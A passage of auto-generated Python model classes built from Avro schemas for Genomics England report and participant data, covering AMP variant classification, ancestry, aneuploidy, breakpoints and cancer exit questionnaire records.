None) self.population = kwargs.get( 'population', None) self.study = kwargs.get( 'study', None) class AlleleOrigin(object): """ Allele origin. * `SO_0001781`: de novo variant. http://purl.obolibrary.org/obo/SO_0001781 * `SO_0001778`: germline variant. http://purl.obolibrary.org/obo/SO_0001778 * `SO_0001775`: maternal variant. http://purl.obolibrary.org/obo/SO_0001775 * `SO_0001776`: paternal variant. http://purl.obolibrary.org/obo/SO_0001776 * `SO_0001779`: pedigree specific variant. http://purl.obolibrary.org/obo/SO_0001779 * `SO_0001780`: population specific variant. http://purl.obolibrary.org/obo/SO_0001780 * `SO_0001777`: somatic variant. http://purl.obolibrary.org/obo/SO_0001777 """ de_novo_variant = "de_novo_variant" germline_variant = "germline_variant" maternal_variant = "maternal_variant" paternal_variant = "paternal_variant" pedigree_specific_variant = "pedigree_specific_variant" population_specific_variant = "population_specific_variant" somatic_variant = "somatic_variant" def __hash__(self): return str(self).__hash__() class AmpClincialOrExperimentalEvidence(ProtocolElement): """ Amp Clinical or Experimental Evidence, the level will define the overal clasification of the variant together with the tiering. """ _schemaSource = """ {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "category", "description", "level", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'category', 'description', 'level' ] def __init__(self, **kwargs): self.category = kwargs.get( 'category', None) self.description = kwargs.get( 'description', None) self.level = kwargs.get( 'level', None) class AmpClinicalOrExperimentalEvidenceCategory(object): """ Categories of Clinical and/or Experimental Evidence as defined in AMP guidelines """ therapeutic = "therapeutic" diagnosis = "diagnosis" prognosis = "prognosis" def __hash__(self): return str(self).__hash__() class AmpClinicalOrExperimentalEvidenceLevel(object): """ Levels for categories of Clinical and/or Experimental Evidence as defined in AMP guidelines """ levelA = "levelA" levelB = "levelB" levelC = "levelC" levelD = "levelD" def __hash__(self): return str(self).__hash__() class AmpEvidence(ProtocolElement): """ Evidences as defined in AMP guidelines, they are composed by a evidence type (first column in the evidence table of the guidlines) and a assessment of the evicence, this last one will define the streght of the evidence, supporting the variant to be classified as TierI-IV """ _schemaSource = """ {"type": "record", "name": "AmpEvidence", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "evidenceAssessment", "type", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'evidenceAssessment', 'type' ] def __init__(self, **kwargs): self.evidenceAssessment = kwargs.get( 'evidenceAssessment', None) self.type = kwargs.get( 'type', None) class AmpEvidenceType(object): """ Type of evidence in tge AMP guideline """ mutation_type = "mutation_type" therapies = "therapies" variant_frequencies = "variant_frequencies" potential_germline = "potential_germline" population_database_presence = "population_database_presence" germline_database_presence = "germline_database_presence" somatic_database_presence = "somatic_database_presence" impact_predictive_software = "impact_predictive_software" pathway_involvement = "pathway_involvement" publications = "publications" def __hash__(self): return str(self).__hash__() class AmpTier(object): """ AMP tier: * `TierI`: Variants of Strong Clinical Significance * `TierII`: Variants of Potential Clinical Significance * `TierIII`: Variants of Unknown Clinical Significance * `TierIV`: Benign or Likely Benign Variants """ tierI = "tierI" tierII = "tierII" tierIII = "tierIII" tierIV = "tierIV" def __hash__(self): return str(self).__hash__() class AmpVariantClassification(ProtocolElement): """ Full Variant classification acording to AMP guideline, including all supporting evidences and the final assessment """ _schemaSource = """ {"type": "record", "name": "AmpVariantClassification", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "ampClincialOrExperimentalEvidence", "ampEvidences", "ampTier", "assessment", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'ampClincialOrExperimentalEvidence': AmpClincialOrExperimentalEvidence, 'ampEvidences': AmpEvidence, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'ampClincialOrExperimentalEvidence': AmpClincialOrExperimentalEvidence, 'ampEvidences': AmpEvidence, } return embeddedTypes[fieldName] __slots__ = [ 'ampClincialOrExperimentalEvidence', 'ampEvidences', 'ampTier', 'assessment' ] def __init__(self, **kwargs): self.ampClincialOrExperimentalEvidence = kwargs.get( 'ampClincialOrExperimentalEvidence', None) self.ampEvidences = kwargs.get( 'ampEvidences', None) self.ampTier = kwargs.get( 'ampTier', None) self.assessment = kwargs.get( 'assessment', None) class AnalysisPanel(ProtocolElement): """ An analysis panel """ _schemaSource = """ {"type": "record", "name": "AnalysisPanel", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "panelName", "type": "string", "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "reviewOutcome", "type": "string", "doc": ""}, {"name": "multipleGeneticOrigins", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "multipleGeneticOrigins", "panelName", "panelVersion", "reviewOutcome", "specificDisease", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'multipleGeneticOrigins', 'panelName', 'panelVersion', 'reviewOutcome', 'specificDisease' ] def __init__(self, **kwargs): self.multipleGeneticOrigins = kwargs.get( 'multipleGeneticOrigins', None) self.panelName = kwargs.get( 'panelName', None) self.panelVersion = kwargs.get( 'panelVersion', None) self.reviewOutcome = kwargs.get( 'reviewOutcome', None) self.specificDisease = kwargs.get( 'specificDisease', None) class Ancestries(ProtocolElement): """ Ancestries, defined as Ethnic category(ies) and Chi-square test """ _schemaSource = """ {"type": "record", "name": "Ancestries", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type": ["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A", "B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name": "mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name": "fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type": {"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR", "SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name": "KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM", "ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL", "PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "chiSquare1KGenomesPhase3Pop", "fathersEthnicOrigin", "fathersOtherRelevantAncestry", "mothersEthnicOrigin", "mothersOtherRelevantAncestry", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'chiSquare1KGenomesPhase3Pop': ChiSquare1KGenomesPhase3Pop, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'chiSquare1KGenomesPhase3Pop': ChiSquare1KGenomesPhase3Pop, } return embeddedTypes[fieldName] __slots__ = [ 'chiSquare1KGenomesPhase3Pop', 'fathersEthnicOrigin', 'fathersOtherRelevantAncestry', 'mothersEthnicOrigin', 'mothersOtherRelevantAncestry' ] def __init__(self, **kwargs): self.chiSquare1KGenomesPhase3Pop = kwargs.get( 'chiSquare1KGenomesPhase3Pop', None) self.fathersEthnicOrigin = kwargs.get( 'fathersEthnicOrigin', None) self.fathersOtherRelevantAncestry = kwargs.get( 'fathersOtherRelevantAncestry', None) self.mothersEthnicOrigin = kwargs.get( 'mothersEthnicOrigin', None) self.mothersOtherRelevantAncestry = kwargs.get( 'mothersOtherRelevantAncestry', None) class Aneuploidy(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "Aneuploidy", "namespace": "org.gel.models.report.avro", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc": ""}, {"name": "coordinates", "type": ["null", {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}], "doc": ""}, {"name": "numberOfCopies", "type": "int", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "assembly", "chromosome", "complete", "coordinates", "iscn", "numberOfCopies", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, } return embeddedTypes[fieldName] __slots__ = [ 'assembly', 'chromosome', 'complete', 'coordinates', 'iscn', 'numberOfCopies' ] def __init__(self, **kwargs): self.assembly = kwargs.get( 'assembly', None) self.chromosome = kwargs.get( 'chromosome', None) self.complete = kwargs.get( 'complete', None) self.coordinates = kwargs.get( 'coordinates', None) self.iscn = kwargs.get( 'iscn', None) self.numberOfCopies = kwargs.get( 'numberOfCopies', None) class Assembly(object): """ The reference genome assembly """ GRCh38 = "GRCh38" GRCh37 = "GRCh37" def __hash__(self): return str(self).__hash__() class BreakPoint(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "BreakPoint", "namespace": "org.gel.models.report.avro", "fields": [{"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "reference", "type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info", "type": ["null", {"type": "map", "values": "string"}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "alternate", "coordinates", "info", "reference", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, } return embeddedTypes[fieldName] __slots__ = [ 'alternate', 'coordinates', 'info', 'reference' ] def __init__(self, **kwargs): self.alternate = kwargs.get( 'alternate', None) self.coordinates = kwargs.get( 'coordinates', Coordinates()) self.info = kwargs.get( 'info', None) self.reference = kwargs.get( 'reference', None) class CancerActionability(object): """ An enumeration Variant Actionability: * `predicts_therapeutic_response`: Predicts therapeutic response * `prognostic`: Prognostic * `defines_diagnosis_group`: Defines diagnosis group * `eligibility_for_trial`: Eligibility for trial * `germline_susceptibility`: Germline susceptibility * `other`: Other (please specify) """ germline_susceptibility = "germline_susceptibility" predicts_therapeutic_response = "predicts_therapeutic_response" prognostic = "prognostic" defines_diagnosis_group = "defines_diagnosis_group" eligibility_for_trial = "eligibility_for_trial" other = "other" def __hash__(self): return str(self).__hash__() class CancerActionabilitySomatic(object): """ The variant actionabilities: * `predicts_therapeutic_response`: Predicts therapeutic response * `prognostic`: Prognostic * `defines_diagnosis_group`: Defines diagnosis group * `eligibility_for_trial`: Eligibility for trial * `other`: Other (please specify) """ predicts_therapeutic_response = "predicts_therapeutic_response" prognostic = "prognostic" defines_diagnosis_group = "defines_diagnosis_group" eligibility_for_trial = "eligibility_for_trial" other = "other" def __hash__(self): return str(self).__hash__() class CancerActionableVariants(object): """ Are the variants actionable? * `yes`: yes * `no`: no """ yes = "yes" no = "no" def __hash__(self): return str(self).__hash__() class CancerCaseLevelQuestions(ProtocolElement): """ The questions for the cancer program exit questionnaire at case level """ _schemaSource = """ {"type": "record", "name": "CancerCaseLevelQuestions", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "total_review_time", "type": "double", "doc": ""}, {"name": "mdt1_time", "type": "double", "doc": ""}, {"name": "mdt2_time", "type": ["null", "double"], "doc": ""}, {"name": "validation_assay_time", "type": ["null", "double"], "doc": ""}, {"name": "wet_validation_time", "type": ["null", "double"], "doc": ""}, {"name": "analytical_validation_time", "type": ["null", "double"], "doc": ""}, {"name": "primary_reporting_time", "type": "double", "doc": ""}, {"name": "primary_authorisation_time", "type": "double", "doc": ""}, {"name": "report_distribution_time", "type": "double", "doc": ""}, {"name": "total_time", "type": "double", "doc": ""}, {"name": "reviewedInMdtWga", "type": {"type": "enum", "name": "ReviewedParts", "doc": "", "symbols": ["domain_1", "domain_1_and_2", "domain_1_2_and_suplementary"]}, "doc": ""}, {"name": "actionableVariants", "type": {"type": "enum", "name": "CancerActionableVariants", "doc": "", "symbols": ["yes", "no"]}, "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "actionableVariants", "analytical_validation_time", "mdt1_time", "mdt2_time", "primary_authorisation_time", "primary_reporting_time", "report_distribution_time", "reviewedInMdtWga", "total_review_time", "total_time", "validation_assay_time", "wet_validation_time", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'actionableVariants', 'analytical_validation_time', 'mdt1_time', 'mdt2_time', 'primary_authorisation_time', 'primary_reporting_time', 'report_distribution_time', 'reviewedInMdtWga', 'total_review_time', 'total_time', 'validation_assay_time', 'wet_validation_time' ] def __init__(self, **kwargs): self.actionableVariants = kwargs.get( 'actionableVariants', None) self.analytical_validation_time = kwargs.get( 'analytical_validation_time', None) self.mdt1_time = kwargs.get( 'mdt1_time', None) self.mdt2_time = kwargs.get( 'mdt2_time', None) self.primary_authorisation_time = kwargs.get( 'primary_authorisation_time', None) self.primary_reporting_time = kwargs.get( 'primary_reporting_time', None) self.report_distribution_time = kwargs.get( 'report_distribution_time', None) self.reviewedInMdtWga = kwargs.get( 'reviewedInMdtWga', None) self.total_review_time = kwargs.get( 'total_review_time', None) self.total_time = kwargs.get( 'total_time', None) self.validation_assay_time = kwargs.get( 'validation_assay_time', None) self.wet_validation_time = kwargs.get( 'wet_validation_time', None) class CancerExitQuestionnaire(ProtocolElement): """ The cancer program exit questionnaire """ _schemaSource = """ {"type": "record", "name": "CancerExitQuestionnaire", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "eventDate", "type": "string", "doc": ""}, {"name": "reporter", "type": "string", "doc": ""}, {"name": "caseLevelQuestions", "type": {"type": "record", "name": "CancerCaseLevelQuestions", "doc": "", "fields": [{"name": "total_review_time", "type": "double", "doc": ""}, {"name": "mdt1_time", "type": "double", "doc": ""}, {"name": "mdt2_time", "type": ["null", "double"], "doc": ""}, {"name": "validation_assay_time", "type": ["null", "double"], "doc": ""}, {"name": "wet_validation_time", "type": ["null", "double"], "doc": ""}, {"name": "analytical_validation_time", "type": ["null", "double"], "doc": ""}, {"name": "primary_reporting_time", "type": "double", "doc": ""}, {"name": "primary_authorisation_time", "type": "double", "doc": ""}, {"name": "report_distribution_time", "type": "double", "doc": ""}, {"name": "total_time", "type": "double", "doc": ""}, {"name": "reviewedInMdtWga", "type": {"type": "enum", "name": "ReviewedParts", "doc": "", "symbols": ["domain_1", "domain_1_and_2", "domain_1_2_and_suplementary"]}, "doc": ""}, {"name": "actionableVariants", "type": {"type": "enum", "name": "CancerActionableVariants", "doc": "", "symbols": ["yes", "no"]}, "doc": ""}]}, "doc": ""}, {"name": "somaticVariantLevelQuestions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "CancerSomaticVariantLevelQuestions", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantActionability", "type": {"type": "array", "items": {"type": "enum", "name": "CancerActionabilitySomatic", "doc": "", "symbols": ["predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial", "other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"], "doc": ""}, {"name": "variantUsability", "type": {"type": "enum", "name": "CancerUsabilitySomatic", "doc": "", "symbols": ["already_actioned", "actioned_result_of_this_wga", "not_yet_actioned"]}, "doc": ""}, {"name": "variantTested", "type": {"type": "enum", "name": "CancerTested", "doc": "", "symbols": ["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga", "technical_validation_following_wga"]}, "doc": ""}, {"name": "validationAssayType", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "germlineVariantLevelQuestions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "CancerGermlineVariantLevelQuestions", "doc": "", "fields": [{"name": "variantCoordinates", "type": "VariantCoordinates", "doc": ""}, {"name": "variantActionability", "type": {"type": "array", "items": {"type": "enum", "name": "CancerActionability", "doc": "", "symbols": ["germline_susceptibility", "predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial", "other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"]}, {"name": "variantUsability", "type": {"type": "enum", "name": "CancerUsabilityGermline", "doc": "", "symbols": ["already_actioned", "actioned_result_of_this_wga"]}, "doc": ""}, {"name": "variantTested", "type": "CancerTested", "doc": ""}, {"name": "validationAssayType", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "additionalComments", "type": ["null", "string"], "doc": ""}, {"name": "otherActionableVariants", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AdditionalVariantsQuestions", "fields": [{"name": "variantCoordinates", "type": "VariantCoordinates", "doc": ""}, {"name": "variantActionability", "type": {"type": "array", "items": "CancerActionability"}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"]}, {"name": "variantUsability", "type": "CancerUsabilitySomatic", "doc": ""}, {"name": "variantTested", "type": {"type": "enum", "name": "CancerTestedAdditional", "doc": "", "symbols": ["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga", "technical_validation_following_wga", "na"]}, "doc": ""}, {"name": "validationAssayType", "type": "string", "doc": ""}]}}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "additionalComments", "caseLevelQuestions", "eventDate", "germlineVariantLevelQuestions", "otherActionableVariants", "reporter", "somaticVariantLevelQuestions", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'caseLevelQuestions': CancerCaseLevelQuestions, 'germlineVariantLevelQuestions': CancerGermlineVariantLevelQuestions, 'otherActionableVariants': AdditionalVariantsQuestions, 'somaticVariantLevelQuestions': CancerSomaticVariantLevelQuestions, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'caseLevelQuestions': CancerCaseLevelQuestions, 'germlineVariantLevelQuestions': CancerGermlineVariantLevelQuestions, 'otherActionableVariants': AdditionalVariantsQuestions, 'somaticVariantLevelQuestions': CancerSomaticVariantLevelQuestions, } return embeddedTypes[fieldName] __slots__ = [ 'additionalComments', 'caseLevelQuestions', 'eventDate', 'germlineVariantLevelQuestions', 'otherActionableVariants', 'reporter', 'somaticVariantLevelQuestions' ] def __init__(self, **kwargs): self.additionalComments = kwargs.get( 'additionalComments', None) self.caseLevelQuestions = kwargs.get( 'caseLevelQuestions', CancerCaseLevelQuestions()) self.eventDate = kwargs.get( 'eventDate', None) self.germlineVariantLevelQuestions = kwargs.get( 'germlineVariantLevelQuestions', None) self.otherActionableVariants = kwargs.get( 'otherActionableVariants', None) self.reporter = kwargs.get( 'reporter', None) self.somaticVariantLevelQuestions = kwargs.get( 'somaticVariantLevelQuestions', None) class CancerGermlineVariantLevelQuestions(ProtocolElement): """ The questions for the cancer program exit questionnaire for germline variants """ _schemaSource = """ {"type": "record", "name": "CancerGermlineVariantLevelQuestions", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantActionability", "type": {"type": "array", "items": {"type": "enum", "name": "CancerActionability", "doc": "", "symbols": ["germline_susceptibility", "predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial", "other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"]}, {"name": "variantUsability", "type": {"type": "enum", "name": "CancerUsabilityGermline", "doc": "", "symbols": ["already_actioned", "actioned_result_of_this_wga"]}, "doc": ""}, {"name": "variantTested", "type": {"type": "enum", "name": "CancerTested", "doc": "", "symbols": ["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga", "technical_validation_following_wga"]}, "doc": ""}, {"name": "validationAssayType", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "otherVariantActionability", "validationAssayType", "variantActionability", "variantCoordinates", "variantTested", "variantUsability", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'variantCoordinates': VariantCoordinates, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'variantCoordinates': VariantCoordinates, } return embeddedTypes[fieldName] __slots__ = [ 'otherVariantActionability', 'validationAssayType', 'variantActionability', 'variantCoordinates', 'variantTested', 'variantUsability' ] def __init__(self, **kwargs): self.otherVariantActionability = kwargs.get( 'otherVariantActionability', None) self.validationAssayType = kwargs.get( 'validationAssayType', None) self.variantActionability = kwargs.get( 'variantActionability', None) self.variantCoordinates = kwargs.get( 'variantCoordinates', VariantCoordinates()) self.variantTested = kwargs.get( 'variantTested', None) self.variantUsability = kwargs.get( 'variantUsability', None) class CancerInterpretationRequest(ProtocolElement): """ This record represents basic information for this report """ _schemaSource = """ {"type": "record", "name": "CancerInterpretationRequest", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "versionControl", "type": {"type": "record", "name": "ReportVersionControl", "fields": [{"name": "gitVersionControl", "type": "string", "doc": "", "default": "6.0.0"}]}, "doc": ""}, {"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "internalStudyId", "type": "string", "doc": ""}, {"name": "participantInternalId", "type": ["null", "string"], "doc": ""}, {"name": "genomeAssembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "workspace", "type": {"type": "array", "items": "string"}, "doc": ""}, {"name": "bams", "type": ["null", {"type": "array", "items": {"type": "record", "name": "File", "doc": "", "fields": [{"name": "sampleId", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "uriFile", "type": "string", "doc": ""}, {"name": "fileType", "type": {"type": "enum", "name": "FileType", "symbols": ["BAM", "gVCF", "VCF_small", "VCF_somatic_small", "VCF_CNV", "VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV", "VCF_SV_CNV", "SVG", "ANN", "BigWig", "MD5Sum", "ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES", "COVERAGE"]}, "doc": ""}, {"name": "md5Sum", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "vcfs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "bigWigs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "annotationFile", "type": ["null", "File"], "doc": ""}, {"name": "otherFiles", "type": ["null", {"type": "map", "values": "File"}], "doc": ""}, {"name": "cancerParticipant", "type": ["null", {"type": "record", "name": "CancerParticipant", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name": "morphology", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""}, {"name": "center", "type": ["null", "string"], "doc": ""}, {"name": "individualId", "type": "string", "doc": ""}, {"name": "primaryDiagnosisDisease", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryDiagnosisSubDisease", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "assignedICD10", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "tumourSamples", "type": {"type": "array", "items": {"type": "record", "name": "TumourSample", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "tumourId", "type": "string", "doc": ""}, {"name": "programmePhase", "type": ["null", {"type": "enum", "name": "ProgrammePhase", "symbols": ["CRUK", "OXFORD", "CLL", "IIP", "MAIN", "EXPT"]}], "doc": ""}, {"name": "diseaseType", "type": ["null", {"type": "enum", "name": "diseaseType", "symbols": ["ADULT_GLIOMA", "BLADDER", "BREAST", "CARCINOMA_OF_UNKNOWN_PRIMARY", "CHILDHOOD", "COLORECTAL", "ENDOCRINE", "ENDOMETRIAL_CARCINOMA", "HAEMONC", "HEPATOPANCREATOBILIARY", "LUNG", "MALIGNANT_MELANOMA", "NASOPHARYNGEAL", "ORAL_OROPHARYNGEAL", "OVARIAN", "PROSTATE", "RENAL", "SARCOMA", "SINONASAL", "TESTICULAR_GERM_CELL_TUMOURS", "UPPER_GASTROINTESTINAL", "OTHER", "NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE", "CLASSICAL_HODGKINS", "NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS", "T_CELL_LYMPHOMA"]}], "doc": ""}, {"name": "diseaseSubType", "type": ["null", "string"], "doc": ""}, {"name": 